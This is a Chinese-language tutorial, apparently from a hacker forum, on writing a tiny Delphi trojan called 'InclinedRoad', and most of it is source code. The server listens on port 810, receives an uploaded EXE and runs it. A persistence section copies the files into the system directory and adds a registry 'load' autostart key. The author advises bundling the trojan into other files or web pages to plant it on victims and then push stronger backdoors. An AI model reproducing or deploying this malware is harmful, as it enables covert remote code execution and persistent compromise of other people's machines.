价一匹木马的优略,除了功能的多少外,还有一点是必须具备的,那就是必须要小巧。只有小巧才能以最快的手段来种植,只有小巧才能更好的隐藏和捆绑。入侵过程中,有时候机会稍纵即逝,为了在很短的时间内种植后门,就必须使用小巧的木马来当先行者。现在的黑客入侵越来越注重木马的大小。只有那些刚刚接触木马的新手才会使用体型庞大的后门程序。
我一直在想,使用delphi到底能写出多小的木马程序来?这个问题其实困绕了我很长一段时间。虽然Delphi是个很有效率的开发工具,但是它有一个缺点就是生成的EXE文件太大。一个程序就算只有一个空窗口体积也有286KB。怎么样才能把它变小呢?在经过多方面的查找资料和学习,功夫不负有心人。我终于写出来一个56K的小木马“InclinedRoad”(使用了UPX压缩),它的功能非常简单,只有上传和运行EXE程序的功能,不过这样已经足够当木马程序用了。
其实也没有使用什么高深的技术,只是利用了WinSockAPI来进行Socket编程,这些都是别人用剩下的东西,我之所以提一下,只是因为这方面编写木马的资料比较少。Delphi中各种网络组件的强大功能,都是建立在WinSockAPI基础之上的。具体的内容我不多说了,这里推荐一本书——《DELPHI深度编程及其项目应用开发》。这本书上面的“Socket编程”一章讲的非常详细,自己看就可以了。并且在我所写的木马中,里面的一些关键性代码,也是参考了这本书上的例子。废话少说,下面讲一讲木马“InclinedRoad”的开发过程:
木马客户端关键性代码:
//创建窗体时,启动WinSock动态链接库
procedureTForm1.FormCreate(Sender:TObject);
var
awsadata:twsadata;
begin
ifwsastartup($0101,awsadata)〈〉0then
raiseexception.Create('不能启动winsock动态链接库');
end;
//当窗体关闭时,释放WinSock动态链接库
procedureTForm1.FormClose(Sender:TObject;varAction:TCloseAction);
begin
ifwsacleanup〈〉0then
messagebox(handle,'清除WINSOCK动态链接库错误!','',MB_OK)
ELSE
//清除WINSOCK动态链接库成功
closesocket(client);
end;
proceduretform1.transfile(filename:string);//发送文件过程
var
ftrans:fileofbyte;
flen:integer;
blocknum,remainlen:integer;
blockbuf:array[0..blocklen-1]ofbyte;
i:integer;
sendlen:integer;
begin
assignfile(ftrans,filename);
reset(ftrans);
flen:=filesize(ftrans);
blocknum:=flendivblocklen;
progressbar1.max:=1+blocknum;
remainlen:=flenmodblocklen;
sendlen:=1;
fori:=0toblocknum-1do
begin
if(sendlen〈=0)thenbreak;
blockread(ftrans,blockbuf[0],blocklen);
sendlen:=send(client,blockbuf,blocklen,0);
progressbar1.position:=i;
application.ProcessMessages;
end;
if(sendlen〈=0)then
begin
closefile(ftrans);
messagebox(handle,'传输异常终止','错误',mb_ok);
progressbar1.position:=0;
exit;
end;
ifremainlen〉0then
begin
blockread(ftrans,blockbuf[0],remainlen);
sendlen:=send(client,blockbuf,remainlen,0);
if(sendlen〈=0)then
begin
closefile(ftrans);
messagebox(handle,'传输异常终止!!','错误',mb_ok);
progressbar1.position:=0;
exit;
end;
end;
progressbar1.position:=progressbar1.max;
closefile(ftrans);
messagebox(handle,'传输文件完毕!!','完成',mb_ok);
progressbar1.position:=0;
end;
procedureTForm1.Button1Click(Sender:TObject);//建立连接
var
ca:sockaddr_in;
hostaddr:u_long;
begin
//创建客户端的Socket
client:=socket(pf_inet,sock_stream,ipproto_ip);
ifclient=invalid_socketthen
begin
messagebox(handle,'创建Socket错误!','错误',mb_ok);
exit;
end;
ca.sin_family:=pf_inet;
ca.sin_port:=htons(strtoint(trim(edit2.text)));
hostaddr:=inet_addr(pchar(trim(edit1.text)));
//判断IP地址是否合法
if(hostaddr=-1)then
begin
messagebox(handle,'IP地址错误','错误',mb_ok);
exit;
end
else
ca.sin_addr.s_addr:=hostaddr;
//连接服务器
ifconnect(client,ca,sizeof(ca))〈〉0then
begin
Application.MessageBox('建立连接失败!!','错误',mb_ok);
exit;
end
else
Application.MessageBox('建立连接成功','错误',mb_ok);
end;
procedureTForm1.Button2Click(Sender:TObject);//发送EXE文件
var
info:string;
bufsend:pchar;
re:integer;
begin
getmem(bufsend,1024);
zeromemory(bufsend,1024);
info:=extractfilename(OpenDialog1.filename);
strpcopy(bufsend,info);
re:=send(client,bufsend^,length(bufsend),0);
if(re=socket_error)then
begin
exit;
end;
if(OpenDialog1.execute)and(fileexists(OpenDialog1.filename))then
transfile(OpenDialog1.filename);
end;
procedureTForm1.Button3Click(Sender:TObject);//退出程序并运行传输的EXE文件
begin
close;
end;
下面是我编写的木马“InclinedRoad”客户端界面:
木马服务器端关键性代码:
programInclinedRoad;
uses
windows,winsock;
const
blocklen=1024*4;
var
server:tsocket;//定义服务器端socket句柄
{.$R*.res}
接收文件过程
procedurerecvfile(filename:string);
var
ftrans:fileofbyte;
recelen:integer;
blockbuf:array[0..blocklen-1]ofbyte;
recvsocket:tsocket;
ra:sockaddr_in;
ra_len:integer;
begin
ra_len:=sizeof(ra);
recvsocket:=accept(server,@ra,@ra_len);//等待连接的客户端socket
assignfile(ftrans,filename);//创建一个保存的文件
rewrite(ftrans);
recelen:=recv(recvsocket,blockbuf,blocklen,0);//接收数据
whilerecelen〉0do
begin
blockwrite(ftrans,blockbuf[0],recelen);
recelen:=recv(recvsocket,blockbuf,blocklen,0);
end;
closefile(ftrans);//关闭文件接收的socket
closesocket(recvsocket);
winexec(pchar('c:\zy.exe'),sw_shownormal);//运行上传的文件
end;
//////////////////////////////////////////
var
awsadata:twsadata;
ca:sockaddr_in;
begin//程序从这里开始执行
WSAStartup($0101,awsadata);//初始化WINSOCK,要求最低版本是2.0
server:=socket(pf_inet,sock_stream,ipproto_ip);//建立Socket
ifserver=invalid_socketthen
begin
//创建接收Socket错误!;
exit;
end;
ca.sin_family:=pf_inet;
ca.sin_port:=htons(810);//端口
ca.sin_addr.s_addr:=inaddr_any;
ifbind(server,ca,sizeof(ca))=socket_errorthen
begin
closesocket(server);//绑定接收端SOCKET错误!请更改接收端口
exit;
end
else
listen(server,5);//绑定接收端SOCKET成功!
//接收文件,并保存到C盘根目录,程序名称为zy.exe
recvfile('c:\zy.exe');
end.
以上是木马客户端和服务器端的源代码,其中服务器端的代码用记事本保存后改名为InclinedRoad.dpr,,然后用Delphi打开直接编译即可。
上面代码的注释已经写的很详细了,我想只要是有些Delphi编程基础的人,都可以很好的理解上面的代码。如果你把服务器端的代码编译一下,会发现只有15.5K这么大,再使用UPX压缩一下,不是吧,9K。呵呵!!现在不得不承认使用DELPHI也能写出小木马了。
下面说一下程序的测试情况,如果你分别编译好了客户端和服务器端。那么就可以在两台连网的计算机上测试木马程序了,假设A、B两台计算机,首先在计算机A上运行服务器端,然后在计算机B上打开客户端程序连接测试,提示连接成功后,可以上传文件(例如上传:muma.exe,并且注意一定要上传EXE文件),上传文件完毕后,就会在计算机A的c:\目录下面出现一个zy.exe文件。这个文件就是你刚才上传的muma.exe文件,不过只是改了名子而已。最后退出计算机B上的客户端程序,在退出客户端程序过程中,服务器端就会自动执行你上传的mum.exe文件。
用这个木马来做一个开路先锋是最好不过的了,可以利用网页,或者捆绑到其它文件中传给对方,等对方执行成功后,再用它来传递功能更强大的木马,比如灰鸽子等。
加固篇
好了,到现在为止,其实我们的木马还没有完全编写成功,因为它不能每次开机自动运行,并且还有非常重要的一点就是,服务器端只能使用一次,如果你刚才做过上面的测试,就会发现,上传一个EXE文件并且执行后,服务器端就会自动退出。如何解决这两个问题造成的不便?
下面我们就来解决它。
首先,打开记事本,在里面输入如下代码:
programwinroad;
uses
windows;
var
sStartInfo:STARTUPINFO;
seProcess,seThread:SECURITY_ATTRIBUTES;
PProcInfo:PROCESS_INFORMATION;
{.$R*.res}
procedureAllRunProcess;//启动系统目录下的InclinedRoad.exe程序
var
bSuccess:boolean;
begin
//结构清零
ZeroMemory(@sStartInfo,sizeof(sStartInfo));
SStartInfo.cb:=sizeof(sStartInfo);
seProcess.nLength:=sizeof(seProcess);
seProcess.lpSecurityDescriptor:=PChar(nil);//身份验证描述
seProcess.bInheritHandle:=true;
seThread.nLength:=sizeof(seThread);
seThread.lpSecurityDescriptor:=PChar(nil);
seThread.bInheritHandle:=true;
bSuccess:=CreateProcess(PChar(nil),Pchar('InclinedRoad.exe'),@seProcess,@seThread,false,CREATE_DEFAULT_ERROR_MODE
,Pchar(nil),Pchar(nil),sStartInfo,PProcInfo);
if(notbSuccess)then
//ShowMessage('创建InclinedRoad.exe进程失败.')
else
//Application.MessageBox('该进程为关键系统进程,无法结束进程。','无法终止进程',MB_ICONWARNING);
end;
begin
AllRunProcess;//程序从这里开始执行
end.
然后:把记事本文件另存为winroad.dpr文件,再用DELPHI编译它为winroad.exe,编译完成后,用UPX压缩它。压缩完成后,把它拷贝到Delphi的Bin目录,使用Brcc32.exe把它编译成资源文件winroad.RES。(资源文件的编译过程请参考陈经韬的文章《谈Delphi编程中资源文件的应用》)
现在把winroad.RES和木马的服务器端InclinedRoad.dpr放到同一目录,在InclinedRoad.dpr中添加代码,使之成为:
programInclinedRoad;
uses
windows,winsock,Classes,SysUtils,Registry;
const
blocklen=1024*4;
var
server:tsocket;//定义服务器端socket句柄
{.$R*.res}
{$Rwinroad.RES}
//
functionGetWinDir:String;//得到系统目录
var
Buf:array[0..MAX_PATH]ofchar;
begin
GetSystemDirectory(Buf,MAX_PATH);
Result:=Buf;
ifResult[Length(Result)]〈〉'\'thenResult:=Result+'\';
end;
//
functionEXEResFile(constResName,ResType,Newfile&:String):Boolean;
var
Res:TResourceStream;
begin
Result:=True;
try
Res:=TResourceStream.Create(Hinstance,Resname,Pchar(ResType));
try
Res.SavetoFile(NewFile);
finally
Res.Free;
end;
except
Result:=False;
end;
end;
//
functionwinroadFile(constNewfile&:String):Boolean;
begin
Result:=EXEResFile('winroad','exefile',GetWinDir+NewFile);
end;
//
var
awsadata:twsadata;
ca:sockaddr_in;
Reg:TRegistry;
begin//程序从这里开始执行
ifnot(FileExists(GetWinDir+'winroad.exe'))thenwinroadFile('winroad.exe');//释放文件到系统目录
ifnot(FileExists(GetWindir+'inclinedroad.exe'))then//
begin
copyfile(pchar(paramstr(0)),pchar(GetWinDir+'InclinedRoad.exe'),false);//拷贝自己到系统目录
end;
//修改注册表,开机自启动
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
ifReg.OpenKey('\Software\Microsoft\WindowsNT\CurrentVersion\Windows',true)then
begin
reg.WriteString('load',GetWindir+'winroad.exe');
Reg.CloseKey;
end;
Reg.Free;
//
WSAStartup($0101,awsadata);//初始化WINSOCK,要求最低版本是2.0
以下代码略。。。。。。。。。。。
end.
以上我省略了重复的代码,具体内容创建篇中都已经给出来了,大家可以参照对比。
虽然上面的代码都已经很详细了,但是我还是想说两句,以上代码的运行方式是这样的,服务器端执行以后,首先拷贝两个文件winroad.exe、InclinedRoad.exe到系统目录,其中winroad.exe是用来启动木马InclinedRoad.exe的,而木马程序InclinedRoad.exe负责修改注册表HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows\load下的键值,来实现每次开机启动winroad.exe,并间接启动自身。这种启动方式也相对来说比较隐蔽。
到此为止,我们的木马就算编写完成了,编译完成后,使用UPX压缩一下,可以看到只有56K,不知道大家认为它是不是够小?我却认为还是很大,不知道还有没有哪位高手能够再次削减它的体积,或提供更好的代码出来交流。